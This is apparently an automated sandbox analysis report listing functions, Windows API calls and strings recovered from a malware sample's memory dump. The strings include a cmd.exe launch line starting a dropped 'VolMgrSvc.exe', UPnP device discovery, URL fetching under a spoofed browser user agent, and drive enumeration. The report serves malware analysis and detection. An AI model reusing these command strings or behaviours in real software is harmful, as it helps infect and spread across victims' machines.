Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: aaa8efd2447e76ebee4be6377d3fcdc8a7337733f8d70036db534e1e8db572fc
Instruction ID: ab95b539b52ee8c861e7b35bb7843e11e17158efae48c82db73052011d4181fd
Opcode Fuzzy Hash: aaa8efd2447e76ebee4be6377d3fcdc8a7337733f8d70036db534e1e8db572fc
Instruction Fuzzy Hash: F2113071A4430CBAEB10DB90DD46FDE7764AB14B00F104125FA057E2C0D6F5AA548759

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040D950: NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
Part of subcall function 0040D950: RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction ID: 68686fb6eff55c499ad5be399ae1fa7ea08460e57826cc3027d59358e60976cc
Opcode Fuzzy Hash: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction Fuzzy Hash: 34519E75608B02ABC704DF39D488B9BFBE4BF88314F44872EF89983360D775A5458B96

Function 0040DD40 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DD8E
Sleep.KERNEL32(000003E8), ref: 0040DD9E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DDBB
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DDD1
StrChrA.SHLWAPI(?,0000000D), ref: 0040DDFE

Strings

HTTP/1.1 200 OK, xrefs: 0040DDAF
LOCATION: , xrefs: 0040DDC5

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: eefe196d39f416e400a4d4ef2e05462a5a71bb0c03a382919cece79f19d7d758
Instruction ID: 7b96b2f8d6d36e055c6c7570a615b3eea8bd5cb55d36e980e60cabbeadb8daeb
Opcode Fuzzy Hash: eefe196d39f416e400a4d4ef2e05462a5a71bb0c03a382919cece79f19d7d758
Instruction Fuzzy Hash: 78216FB5940218ABDB20DB64DC49BE97774AF04308F1085E9E709BB2D0D6B95AC6CF9C

Function 0040EEE0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EEF7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EF16
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040EF3F
InternetCloseHandle.WININET(00000000), ref: 0040EF68
InternetCloseHandle.WININET(00000000), ref: 0040EF72
Sleep.KERNEL32(000003E8), ref: 0040EF7D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040EEF2

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 2743515581-2272513262
Opcode ID: be2b98b0d1d94f3769b5301c8c7766c76a7eb5c2fd3991898107c864a0abb6dc
Instruction ID: 09246262baac8142bf73057cdf9805b9640511cbdee0a0d8a20d2e1b7007a2ac
Opcode Fuzzy Hash: be2b98b0d1d94f3769b5301c8c7766c76a7eb5c2fd3991898107c864a0abb6dc
Instruction Fuzzy Hash: 6A210A75A40309FBDB10DFA4CC49FEEB775AB08705F1085A9FA11AB2C0C7B96A44CB59

Function 0040B770 Relevance: 12.1, APIs: 8, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0041AE68,?,?,?,?,?,?,00407EF9), ref: 0040B77B
CreateFileW.KERNEL32(0041AC50,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B7CD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B7EE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B80D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B822
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B888
CloseHandle.KERNEL32(00000000), ref: 0040B892
CloseHandle.KERNEL32(000000FF), ref: 0040B89C

Part of subcall function 0040D950: NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
Part of subcall function 0040D950: RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID:
API String ID: 439099756-0
Opcode ID: c6295368b3329a36b4d5b539f0c7913c2e24e4bff1a22c952df061e282144c4a
Instruction ID: 479a2d3db74d12cc9ab5db8b9028aebaa0e2ca82416c5c7c2c0831f1d1863687
Opcode Fuzzy Hash: c6295368b3329a36b4d5b539f0c7913c2e24e4bff1a22c952df061e282144c4a
Instruction Fuzzy Hash: FB417C75E40309ABDB10EFA4CC4ABAEB774EB44704F20842AFA11B72D1C7B96541CB9D

Function 00405B60 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0041A400,?,?,?,?,?,00407EC3), ref: 00405B6B
CreateFileW.KERNEL32(0041A630,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407EC3), ref: 00405B85
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405BC5
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405BDE
UnmapViewOfFile.KERNEL32(00000000), ref: 00405C6B
CloseHandle.KERNEL32(00000000), ref: 00405C75
CloseHandle.KERNEL32(000000FF), ref: 00405C7F

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: 284b283459330de0b1143f1684a29cd07a22339025804f57593563af66457d89
Instruction ID: 34cf97d68150feb52ab64e4c1d62c08212747bf40ca63f75f299d91bb9f0c47d
Opcode Fuzzy Hash: 284b283459330de0b1143f1684a29cd07a22339025804f57593563af66457d89
Instruction Fuzzy Hash: 5D313A74A40308EBEB10DBA4CD4ABAFB770EB44704F208529E601772D0D7B96A81CF99

Function 00406000 Relevance: 10.7, APIs: 7, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041A400,00000000,0040BDA2,006A0266,?,0040BDBE,00000000,0040D09C,?), ref: 0040600F
memcpy.NTDLL(?,00000000,00000100), ref: 004060A1
CreateFileW.KERNEL32(0041A630,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004061C5
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406227
FlushFileBuffers.KERNEL32(000000FF), ref: 00406233
CloseHandle.KERNEL32(000000FF), ref: 0040623D
LeaveCriticalSection.KERNEL32(0041A400,?,?,?,?,?,?,0040BDBE,00000000,0040D09C,?), ref: 00406248

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID:
API String ID: 1457358591-0
Opcode ID: 7d39a30a029986bca7bb4f0c5866fafd33a6f5de3b8d974b21aec683df7cdf74
Instruction ID: 2241f90cca7a27a2546e95c76b2552fd8efe4d50fa40d22b7b041634b3385480
Opcode Fuzzy Hash: 7d39a30a029986bca7bb4f0c5866fafd33a6f5de3b8d974b21aec683df7cdf74
Instruction Fuzzy Hash: 4271CFB4E002099BCB04CF94D985FEFB7B1AB48304F14857DE505BB382D779A951CBA6

Function 0040E6F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E7AC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E7FB
SysFreeString.OLEAUT32(00000000), ref: 0040E80F
SysFreeString.OLEAUT32(00000000), ref: 0040E827

Strings

deviceType, xrefs: 0040E7B6
device, xrefs: 0040E7A3

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 566d6412d8e9607f6d1003a374969e2899c9cbeba23211f1a4d6a59564ece201
Instruction ID: 7a529818069a58d4d2ae4584624926d6a8b7ee91a4ee1179ae14f9cec19009dd
Opcode Fuzzy Hash: 566d6412d8e9607f6d1003a374969e2899c9cbeba23211f1a4d6a59564ece201
Instruction Fuzzy Hash: FC412AB5A0020ADFCB04DF99C884BAFB7B9FF48304F108569E515A7390D778AE85CB94

Function 0040E590 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E64C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E69B
SysFreeString.OLEAUT32(00000000), ref: 0040E6AF
SysFreeString.OLEAUT32(00000000), ref: 0040E6C7

Strings

service, xrefs: 0040E643
serviceType, xrefs: 0040E656

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4e76592112a6a420ff5714064f2ae1a029c18f39b0799c1555199cf660da6998
Instruction ID: 0dd75c4ae2219cb0414d4c222623d171442623ab9389109279868d9d6e555a3a
Opcode Fuzzy Hash: 4e76592112a6a420ff5714064f2ae1a029c18f39b0799c1555199cf660da6998
Instruction Fuzzy Hash: FA413C74A0020ADFCB04CF99D884BAFB7B5BF58304F508969E505A7390D779EA91CF94

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f3ad203a95010958b8c1f3f107c3da268ef795d58a7c48103c0b3f0c6d45af56
Instruction ID: 37460acbf0a505b6a9388cec97320328f7083b01a8d1f88c89259c7d7d106706
Opcode Fuzzy Hash: f3ad203a95010958b8c1f3f107c3da268ef795d58a7c48103c0b3f0c6d45af56
Instruction Fuzzy Hash: A031E172200315ABC710AFB5ED8CAD7B7A8FF44324F04463EF58AD3280DB79A4449B99

Function 00406400 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040640B
CoCreateInstance.OLE32(00412920,00000000,00000001,00412900,?), ref: 00406423
wsprintfW.USER32 ref: 00406456

Strings

/c start %s & start %s\VolMgrSvc.exe, xrefs: 0040644A
%comspec%, xrefs: 0040645F
Gh@, xrefs: 00406472, 00406475

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\VolMgrSvc.exe$Gh@
API String ID: 2038452267-1176807594
Opcode ID: 453316c8e6568e69a2546e2d17e52215310be9e24d50f63276e7ec173b6e4f87
Instruction ID: 2c6fb4a3d0a1bb960828f31a0de6db084021911c18f79e55e776afc792a10ffb
Opcode Fuzzy Hash: 453316c8e6568e69a2546e2d17e52215310be9e24d50f63276e7ec173b6e4f87
Instruction Fuzzy Hash: 1931C975A40208EFCB04DF98D885FDEB7B5EF88704F208199E519A73A5CB74AE81CB54

Function 0040E731 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E7AC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E7FB
SysFreeString.OLEAUT32(00000000), ref: 0040E80F
SysFreeString.OLEAUT32(00000000), ref: 0040E827

Strings

deviceType, xrefs: 0040E7B6
device, xrefs: 0040E7A3

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 438aa6f8a1e56f1ba1290af2e787a3c8fe9300d957a7e67b1fd036078c6987af
Instruction ID: 0e4cd8c02c4e5e279ec4fd0352b83bc081febda0d06dc7f405a75fcd32bf7d71
Opcode Fuzzy Hash: 438aa6f8a1e56f1ba1290af2e787a3c8fe9300d957a7e67b1fd036078c6987af
Instruction Fuzzy Hash: AF3109B1E0020ADFCB04DF99D884BAFB7B5EF88304F108569E514A7390D778AA85CB94

Function 0040E5D1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E64C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E69B
SysFreeString.OLEAUT32(00000000), ref: 0040E6AF
SysFreeString.OLEAUT32(00000000), ref: 0040E6C7

Strings

service, xrefs: 0040E643
serviceType, xrefs: 0040E656

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fc8eedfaf3eb06c849d6c627dcf627ee8089590ee6ebef9678790b2faf78124f
Instruction ID: dde9dd1fd58b67a95de0ca68c0f21478634a56bbec0f0045ca3d2b9f6da46dfd
Opcode Fuzzy Hash: fc8eedfaf3eb06c849d6c627dcf627ee8089590ee6ebef9678790b2faf78124f
Instruction Fuzzy Hash: 4F312D70A0010ADFCB04CF96D884BEFB7B5BF58304F508969E515A7390D7799991CF94

Function 004073B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00407434
Sleep.KERNEL32(000003E8), ref: 00407463
wsprintfA.USER32 ref: 0040748E
DeleteUrlCacheEntry.WININET(?), ref: 0040749E
Sleep.KERNEL32(000DBBA0), ref: 004074E6

Strings

%s%s, xrefs: 00407482

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: b1bb112d4c90ed658366957cc38dd4aa79e2f5495822f89f5b4a7354217b67c4
Instruction ID: 9050299abbe0a346d3081233791c3133021d614aeebffb5e53434d9287984c88
Opcode Fuzzy Hash: b1bb112d4c90ed658366957cc38dd4aa79e2f5495822f89f5b4a7354217b67c4
Instruction Fuzzy Hash: 30310DB4C00218DFCB50DF95DC88BEDBBB4FB48304F1085AAE609B6290D7795A84CF5A

Function 00406340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00406346
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
RegCloseKey.ADVAPI32(?), ref: 004063DE

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406387
NoDrives, xrefs: 004063B8

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction ID: 85ff322c7a95afac5eb7bad71570108e7de378f82f6edd769b1cbb34207a952c
Opcode Fuzzy Hash: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction Fuzzy Hash: 7F11D071E40209DBDB10CFD0D946BEEBBB4FB08704F108159E915B7280D7B8A655CF95

Function 0040D610 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D634

Part of subcall function 0040D700: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D740
Part of subcall function 0040D700: CloseHandle.KERNEL32(?), ref: 0040D759

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D68F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D6CC
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D6D7
DuplicateHandle.KERNEL32(00000000), ref: 0040D6DE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D6F2

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: df6a6ebe43e350ee9e2e3ef0cc0677f8426168fd7d8f62afba8d156cc08b655c
Instruction ID: f472e5e68ab63b0dd33345cd9092821366bebf82f5afbdb011aebb5a24a45ce9
Opcode Fuzzy Hash: df6a6ebe43e350ee9e2e3ef0cc0677f8426168fd7d8f62afba8d156cc08b655c
Instruction Fuzzy Hash: 5D310A74A00208EFDB04DF98D889B9EBBB5FF49308F0085A9E905A7390D775EA95CF54

Function 00409360 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040936D
_aullshr.NTDLL ref: 0040937E
_allshl.NTDLL ref: 004093A0
_aullshr.NTDLL ref: 004093BC
_allshl.NTDLL ref: 004093DE
_aullshr.NTDLL ref: 004093FA

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction ID: 0b1db91c5ce03941f8675f6ecb7f2ec56fce17a7f2d6269111b0fb586e4650a4
Opcode Fuzzy Hash: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction Fuzzy Hash: 27111F326005186B8B10EF9EC48268ABBD6EF84361B15C136FC2CDF359D634E9414BD4

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 7072d3894e9b5df0fcc29a717805562125ff7a0b34c599f89603ca4f9de7a5ac
Instruction ID: 1b6d4435c5f8e1f149c0fb86e6a0c1a3006a9f031597685944d6c13f048a50c8
Opcode Fuzzy Hash: 7072d3894e9b5df0fcc29a717805562125ff7a0b34c599f89603ca4f9de7a5ac
Instruction Fuzzy Hash: E931B2362083009BC710DF69D884A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
